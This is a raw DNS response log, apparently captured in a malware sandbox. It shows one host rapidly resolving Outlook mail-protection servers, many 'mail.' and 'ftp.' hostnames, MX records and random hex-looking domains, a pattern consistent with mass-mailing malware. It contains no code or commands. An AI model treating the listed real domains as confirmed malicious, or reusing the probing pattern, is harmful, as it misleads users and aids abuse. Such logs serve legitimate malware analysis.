Dec 20, 2023 03:13:22.705569983 CET	1.1.1.1	192.168.2.4	0x35d6	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.73.6	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.705569983 CET	1.1.1.1	192.168.2.4	0x35d6	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.73.4	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.705569983 CET	1.1.1.1	192.168.2.4	0x35d6	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.68.5	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.705569983 CET	1.1.1.1	192.168.2.4	0x35d6	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.68.36	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.705569983 CET	1.1.1.1	192.168.2.4	0x35d6	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.68.32	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.705569983 CET	1.1.1.1	192.168.2.4	0x35d6	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.73.26	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.705569983 CET	1.1.1.1	192.168.2.4	0x35d6	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.73.1	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.728322983 CET	1.1.1.1	192.168.2.4	0xc4b6	No error (0)	justinsweet-com.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.728322983 CET	1.1.1.1	192.168.2.4	0xc4b6	No error (0)	justinsweet-com.mail.protection.outlook.com		104.47.66.10	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.745963097 CET	1.1.1.1	192.168.2.4	0x30c8	No error (0)	mail.mgbymags.com		185.103.16.167	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.790802002 CET	1.1.1.1	192.168.2.4	0xd5cc	No error (0)	www.plastikolor.com		87.98.154.146	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.845391989 CET	1.1.1.1	192.168.2.4	0x28cc	No error (0)	www.rehau.com	www.rehau.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:22.873539925 CET	1.1.1.1	192.168.2.4	0x581	No error (0)	mx3-cl.celeonet.fr		193.25.197.210	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.134082079 CET	1.1.1.1	192.168.2.4	0x76a9	No error (0)	www.nymalegigolos.com		160.124.181.5	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.625660896 CET	1.1.1.1	192.168.2.4	0x2a8b	Name error (3)	radiomaria.orgar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.650295973 CET	1.1.1.1	192.168.2.4	0xcb0c	Name error (3)	nationwide-claims.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.650859118 CET	1.1.1.1	192.168.2.4	0x4c05	Name error (3)	ftp.a4f53bcfebc986c4.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.654926062 CET	1.1.1.1	192.168.2.4	0x1567	Name error (3)	8d560e557e715856.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.656120062 CET	1.1.1.1	192.168.2.4	0xdcbc	Name error (3)	ba02867e18351c89.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.680522919 CET	1.1.1.1	192.168.2.4	0x99d3	Name error (3)	9ef1e72a04361055.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.680615902 CET	1.1.1.1	192.168.2.4	0x8638	Name error (3)	8f7940a0023aab5c.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.686264038 CET	1.1.1.1	192.168.2.4	0x39e6	Name error (3)	janicearies.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.687906981 CET	1.1.1.1	192.168.2.4	0x2674	Name error (3)	calebandersondesigns.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.688524008 CET	1.1.1.1	192.168.2.4	0x368	Name error (3)	yokohamaichigoichie.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.699275970 CET	1.1.1.1	192.168.2.4	0xd12e	Name error (3)	habbocentral.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.715856075 CET	1.1.1.1	192.168.2.4	0xbb1e	Server failure (2)	kingshit.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:23.715913057 CET	1.1.1.1	192.168.2.4	0xbb1e	Server failure (2)	kingshit.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:23.715967894 CET	1.1.1.1	192.168.2.4	0xbb1e	Server failure (2)	kingshit.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:23.716031075 CET	1.1.1.1	192.168.2.4	0xbb1e	Server failure (2)	kingshit.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:23.719774008 CET	1.1.1.1	192.168.2.4	0x1217	Name error (3)	a4f53bcfebc986c4.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.738472939 CET	1.1.1.1	192.168.2.4	0x57cc	No error (0)	www.soytijuana.com	parkingpage.namecheap.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:23.738472939 CET	1.1.1.1	192.168.2.4	0x57cc	No error (0)	parkingpage.namecheap.com		91.195.240.19	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.803972006 CET	1.1.1.1	192.168.2.4	0xce0b	No error (0)	www.atelcommunications.com	d1zs52ysiil3fl.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:23.803972006 CET	1.1.1.1	192.168.2.4	0xce0b	No error (0)	d1zs52ysiil3fl.cloudfront.net		65.8.178.81	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.803972006 CET	1.1.1.1	192.168.2.4	0xce0b	No error (0)	d1zs52ysiil3fl.cloudfront.net		65.8.178.5	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.803972006 CET	1.1.1.1	192.168.2.4	0xce0b	No error (0)	d1zs52ysiil3fl.cloudfront.net		65.8.178.56	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.803972006 CET	1.1.1.1	192.168.2.4	0xce0b	No error (0)	d1zs52ysiil3fl.cloudfront.net		65.8.178.107	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.892025948 CET	1.1.1.1	192.168.2.4	0xb71f	No error (0)	www.guymassey.com		199.34.228.100	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.098406076 CET	1.1.1.1	192.168.2.4	0x636e	No error (0)	www.hugedomains.com		104.26.7.37	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.098406076 CET	1.1.1.1	192.168.2.4	0x636e	No error (0)	www.hugedomains.com		172.67.70.191	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.098406076 CET	1.1.1.1	192.168.2.4	0x636e	No error (0)	www.hugedomains.com		104.26.6.37	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.108014107 CET	1.1.1.1	192.168.2.4	0x662b	No error (0)	carisfoundation.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.108014107 CET	1.1.1.1	192.168.2.4	0x662b	No error (0)	carisfoundation.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.108014107 CET	1.1.1.1	192.168.2.4	0x662b	No error (0)	carisfoundation.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.108014107 CET	1.1.1.1	192.168.2.4	0x662b	No error (0)	carisfoundation.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.147808075 CET	1.1.1.1	192.168.2.4	0x56ff	No error (0)	www.qihabitats.com	ext-cust.squarespace.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:24.147808075 CET	1.1.1.1	192.168.2.4	0x56ff	No error (0)	ext-cust.squarespace.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.147808075 CET	1.1.1.1	192.168.2.4	0x56ff	No error (0)	ext-cust.squarespace.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.147808075 CET	1.1.1.1	192.168.2.4	0x56ff	No error (0)	ext-cust.squarespace.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.147808075 CET	1.1.1.1	192.168.2.4	0x56ff	No error (0)	ext-cust.squarespace.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.161453009 CET	1.1.1.1	192.168.2.4	0xfaa5	No error (0)	hildebrandproject.org		34.133.154.140	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.207921982 CET	1.1.1.1	192.168.2.4	0xa112	Name error (3)	mail.churchofscientology.orguk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.208642006 CET	1.1.1.1	192.168.2.4	0xa0c1	Name error (3)	ftp.churchofscientology.orguk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.226311922 CET	1.1.1.1	192.168.2.4	0x9671	No error (0)	www.engelgau.net		205.178.189.129	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.230508089 CET	1.1.1.1	192.168.2.4	0xf9fc	No error (0)	www.texasopendoor.com	texasopendoor.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:24.230508089 CET	1.1.1.1	192.168.2.4	0xf9fc	No error (0)	texasopendoor.com		96.45.112.177	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.236666918 CET	1.1.1.1	192.168.2.4	0x7318	Name error (3)	ftp.yjprwlto.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.237469912 CET	1.1.1.1	192.168.2.4	0x87d4	Name error (3)	ftp.sgeg-usa.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.250318050 CET	1.1.1.1	192.168.2.4	0x95f4	No error (0)	ww7.recipe-for-kids.com	62971.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:24.250318050 CET	1.1.1.1	192.168.2.4	0x95f4	No error (0)	62971.bodis.com		199.59.243.225	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.272228956 CET	1.1.1.1	192.168.2.4	0xb82b	Name error (3)	ftp.leuadxqqqn.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.325206995 CET	1.1.1.1	192.168.2.4	0x6b3	No error (0)	sites.google.com		172.217.15.206	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.617815971 CET	1.1.1.1	192.168.2.4	0x4b00	Name error (3)	jcdnc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.618180990 CET	1.1.1.1	192.168.2.4	0xe529	Name error (3)	crayzrocker.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.628730059 CET	1.1.1.1	192.168.2.4	0x5db3	Name error (3)	cummingscreativegroup.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.629153967 CET	1.1.1.1	192.168.2.4	0x1a88	Name error (3)	sgeg-usa.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.630599022 CET	1.1.1.1	192.168.2.4	0x4780	Name error (3)	fzdwiq.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.632730961 CET	1.1.1.1	192.168.2.4	0x7c63	Name error (3)	nothingbutmiraclesphotography.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.634325027 CET	1.1.1.1	192.168.2.4	0xdb75	Name error (3)	vaoypo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.638396978 CET	1.1.1.1	192.168.2.4	0x815a	Name error (3)	lum-gaming.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.639662981 CET	1.1.1.1	192.168.2.4	0xb1c9	Name error (3)	dm.famm.us	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.659755945 CET	1.1.1.1	192.168.2.4	0xed97	Name error (3)	dlirfo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.659768105 CET	1.1.1.1	192.168.2.4	0x9d67	Name error (3)	clsunlimited.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.684310913 CET	1.1.1.1	192.168.2.4	0x979	Name error (3)	mail.leuadxqqqn.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.686696053 CET	1.1.1.1	192.168.2.4	0x6f31	Name error (3)	ftp.dlirfo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.687684059 CET	1.1.1.1	192.168.2.4	0xac13	Name error (3)	ftp.nationwide-claims.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.704364061 CET	1.1.1.1	192.168.2.4	0x8c2a	Name error (3)	ftp.radiomaria.orgar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.731086969 CET	1.1.1.1	192.168.2.4	0x8ac	No error (0)	www.devnetmedia.com	devnetmedia.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:24.731086969 CET	1.1.1.1	192.168.2.4	0x8ac	No error (0)	devnetmedia.com		162.215.248.230	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.753954887 CET	1.1.1.1	192.168.2.4	0x8a56	Name error (3)	mail.crayzrocker.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.784742117 CET	1.1.1.1	192.168.2.4	0x7ab1	Name error (3)	ftp.8d560e557e715856.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.794488907 CET	1.1.1.1	192.168.2.4	0xdfbc	Name error (3)	ftp.yokohamaichigoichie.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.800251961 CET	1.1.1.1	192.168.2.4	0x31a8	Name error (3)	mail.sgeg-usa.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.826941013 CET	1.1.1.1	192.168.2.4	0xb2de	Name error (3)	ftp.ba02867e18351c89.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.833650112 CET	1.1.1.1	192.168.2.4	0x9c63	Name error (3)	ftp.cummingscreativegroup.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.845635891 CET	1.1.1.1	192.168.2.4	0xe52b	Name error (3)	ftp.floridasun.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.887271881 CET	1.1.1.1	192.168.2.4	0x263f	Name error (3)	ftp.rmckenna.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.889657021 CET	1.1.1.1	192.168.2.4	0xc1fb	Name error (3)	ftp.calebandersondesigns.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.891689062 CET	1.1.1.1	192.168.2.4	0x2d9d	Name error (3)	ftp.janicearies.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.894629002 CET	1.1.1.1	192.168.2.4	0xa9b2	Name error (3)	ftp.8f7940a0023aab5c.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.918921947 CET	1.1.1.1	192.168.2.4	0x625a	Name error (3)	ftp.habbocentral.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.919904947 CET	1.1.1.1	192.168.2.4	0x5a92	Name error (3)	ftp.9ef1e72a04361055.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.925117970 CET	1.1.1.1	192.168.2.4	0xe4d	Name error (3)	mail.cummingscreativegroup.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.938870907 CET	1.1.1.1	192.168.2.4	0x3c89	Name error (3)	yjprwlto.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.970370054 CET	1.1.1.1	192.168.2.4	0xf9c1	Name error (3)	ftp.vaoypo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.970535994 CET	1.1.1.1	192.168.2.4	0x54cb	Name error (3)	ftp.crayzrocker.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.970707893 CET	1.1.1.1	192.168.2.4	0xc217	Name error (3)	ftp.woldsweather.plus.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.971033096 CET	1.1.1.1	192.168.2.4	0xc84c	Name error (3)	mail.ba02867e18351c89.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.982280016 CET	1.1.1.1	192.168.2.4	0x41d3	Name error (3)	mail.floridasun.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.999190092 CET	1.1.1.1	192.168.2.4	0x30aa	Name error (3)	mail.nationwide-claims.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.007323027 CET	1.1.1.1	192.168.2.4	0x6cd	Name error (3)	ftp.nothingbutmiraclesphotography.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.009222984 CET	1.1.1.1	192.168.2.4	0xf566	Name error (3)	mail.radiomaria.orgar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.017098904 CET	1.1.1.1	192.168.2.4	0xa8e3	Name error (3)	ftp.jcdnc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.018454075 CET	1.1.1.1	192.168.2.4	0xaead	Name error (3)	shopeeten.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.023191929 CET	1.1.1.1	192.168.2.4	0xe7c5	Name error (3)	x-woofer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.028845072 CET	1.1.1.1	192.168.2.4	0xe3a2	Name error (3)	mail.yjprwlto.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.033420086 CET	1.1.1.1	192.168.2.4	0x1c19	Name error (3)	njbkrl.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.035358906 CET	1.1.1.1	192.168.2.4	0x7b5	Name error (3)	mail.9ef1e72a04361055.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.040530920 CET	1.1.1.1	192.168.2.4	0x1c8f	Name error (3)	leuadxqqqn.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.043499947 CET	1.1.1.1	192.168.2.4	0x4735	Name error (3)	mail.yokohamaichigoichie.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.048536062 CET	1.1.1.1	192.168.2.4	0xa05f	Name error (3)	justhelpthyself.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.055146933 CET	1.1.1.1	192.168.2.4	0x346d	Name error (3)	youre.a.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.059930086 CET	1.1.1.1	192.168.2.4	0x8d37	Name error (3)	zhelen.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.060201883 CET	1.1.1.1	192.168.2.4	0x38cb	Name error (3)	mail.a4f53bcfebc986c4.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.064781904 CET	1.1.1.1	192.168.2.4	0x1c7c	Name error (3)	mail.calebandersondesigns.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.066260099 CET	1.1.1.1	192.168.2.4	0x699f	Name error (3)	mail.habbocentral.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.072643042 CET	1.1.1.1	192.168.2.4	0x6675	Name error (3)	mail.dm.famm.us	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.081223965 CET	1.1.1.1	192.168.2.4	0xf2fa	Name error (3)	mail.8d560e557e715856.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.082838058 CET	1.1.1.1	192.168.2.4	0xba4d	Name error (3)	curtisoutland.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.091234922 CET	1.1.1.1	192.168.2.4	0x677c	Name error (3)	mail.8f7940a0023aab5c.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.104238987 CET	1.1.1.1	192.168.2.4	0xf7b9	Name error (3)	mail.janicearies.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.150034904 CET	1.1.1.1	192.168.2.4	0x2ca6	Name error (3)	mail.sachem.com.ar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.161226988 CET	1.1.1.1	192.168.2.4	0xeb22	Name error (3)	remafer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.177867889 CET	1.1.1.1	192.168.2.4	0x7a4b	No error (0)	www.a2b-internet.com	a2b-internet.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:25.177867889 CET	1.1.1.1	192.168.2.4	0x7a4b	No error (0)	a2b-internet.com		83.98.155.23	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.178528070 CET	1.1.1.1	192.168.2.4	0xa129	Name error (3)	ftp.remafer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.178901911 CET	1.1.1.1	192.168.2.4	0x357d	Name error (3)	mail.vaoypo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.191401958 CET	1.1.1.1	192.168.2.4	0xe5d6	Name error (3)	mail.remafer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.196522951 CET	1.1.1.1	192.168.2.4	0x50bb	Name error (3)	churchofscientology.orguk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.239492893 CET	1.1.1.1	192.168.2.4	0x5959	Name error (3)	gatewayseweranddrain.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.242981911 CET	1.1.1.1	192.168.2.4	0xae6d	Name error (3)	dfc.nettw	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.246413946 CET	1.1.1.1	192.168.2.4	0x8d90	Name error (3)	mail.jcdnc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.274759054 CET	1.1.1.1	192.168.2.4	0x3a9f	Name error (3)	ftp.lum-gaming.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.285871983 CET	1.1.1.1	192.168.2.4	0xced4	Name error (3)	sachem.com.ar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.292846918 CET	1.1.1.1	192.168.2.4	0xc664	Name error (3)	ftp.sachem.com.ar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.305798054 CET	1.1.1.1	192.168.2.4	0xa05c	Name error (3)	mobiamericas-com.mail.protection.outlook.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.313735008 CET	1.1.1.1	192.168.2.4	0xe16a	Name error (3)	4ku9ipwefstyxr.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.364475012 CET	1.1.1.1	192.168.2.4	0xf401	Name error (3)	ftp.dm.famm.us	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.378057957 CET	1.1.1.1	192.168.2.4	0xe6a	Name error (3)	ftp.nicsonsconcrete.com.au	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.390773058 CET	1.1.1.1	192.168.2.4	0x103f	Name error (3)	ftp.justhelpthyself.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.391069889 CET	1.1.1.1	192.168.2.4	0xe5d0	Name error (3)	ftp.clsunlimited.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.391136885 CET	1.1.1.1	192.168.2.4	0x69b2	Name error (3)	ftp.4ku9ipwefstyxr.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.430428982 CET	1.1.1.1	192.168.2.4	0xd947	Name error (3)	ftp.shopeeten.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.514403105 CET	1.1.1.1	192.168.2.4	0x8e4a	Name error (3)	mail.gatewayseweranddrain.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.534429073 CET	1.1.1.1	192.168.2.4	0x2610	Name error (3)	ftp.dfc.nettw	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.561623096 CET	1.1.1.1	192.168.2.4	0x9269	Name error (3)	ftp.youre.a.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.570343971 CET	1.1.1.1	192.168.2.4	0x7a48	Name error (3)	ftp.x-woofer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.570410967 CET	1.1.1.1	192.168.2.4	0x6ee0	Name error (3)	ftp.curtisoutland.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.570894003 CET	1.1.1.1	192.168.2.4	0xe4cf	Name error (3)	ftp.fzdwiq.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.576344013 CET	1.1.1.1	192.168.2.4	0xde56	Name error (3)	ftp.ccs1.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.610416889 CET	1.1.1.1	192.168.2.4	0x62eb	Name error (3)	ftp.zhelen.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.611298084 CET	1.1.1.1	192.168.2.4	0x97d3	Name error (3)	ftp.gatewayseweranddrain.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.653817892 CET	1.1.1.1	192.168.2.4	0x7d66	Name error (3)	ftp.njbkrl.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.665517092 CET	1.1.1.1	192.168.2.4	0x8fbb	Name error (3)	bsboil.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.665559053 CET	1.1.1.1	192.168.2.4	0xb31c	Name error (3)	ftp.dekoracio.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.668282986 CET	1.1.1.1	192.168.2.4	0x49ab	Name error (3)	ftp.cyadp.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.687150002 CET	1.1.1.1	192.168.2.4	0xd087	Name error (3)	dekoracio.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.706547022 CET	1.1.1.1	192.168.2.4	0x4de4	Name error (3)	ftp.ilovetechno.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.707020998 CET	1.1.1.1	192.168.2.4	0xb3b9	Name error (3)	alnajah.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.708111048 CET	1.1.1.1	192.168.2.4	0x20f	Name error (3)	ilovetechno.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.738646984 CET	1.1.1.1	192.168.2.4	0xa2dd	No error (0)	www.carisfoundation.org	ext-cust.squarespace.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:25.738646984 CET	1.1.1.1	192.168.2.4	0xa2dd	No error (0)	ext-cust.squarespace.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.738646984 CET	1.1.1.1	192.168.2.4	0xa2dd	No error (0)	ext-cust.squarespace.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.738646984 CET	1.1.1.1	192.168.2.4	0xa2dd	No error (0)	ext-cust.squarespace.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.738646984 CET	1.1.1.1	192.168.2.4	0xa2dd	No error (0)	ext-cust.squarespace.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.787144899 CET	1.1.1.1	192.168.2.4	0xa152	No error (0)	www.wakux2.com		157.112.187.45	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.916847944 CET	1.1.1.1	192.168.2.4	0x8f56	Server failure (2)	kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.916910887 CET	1.1.1.1	192.168.2.4	0x8f56	Server failure (2)	kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.916940928 CET	1.1.1.1	192.168.2.4	0x8f56	Server failure (2)	kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.917021990 CET	1.1.1.1	192.168.2.4	0x8f56	Server failure (2)	kingshit.com	none	none	A (IP address)	IN (0x0001)	false
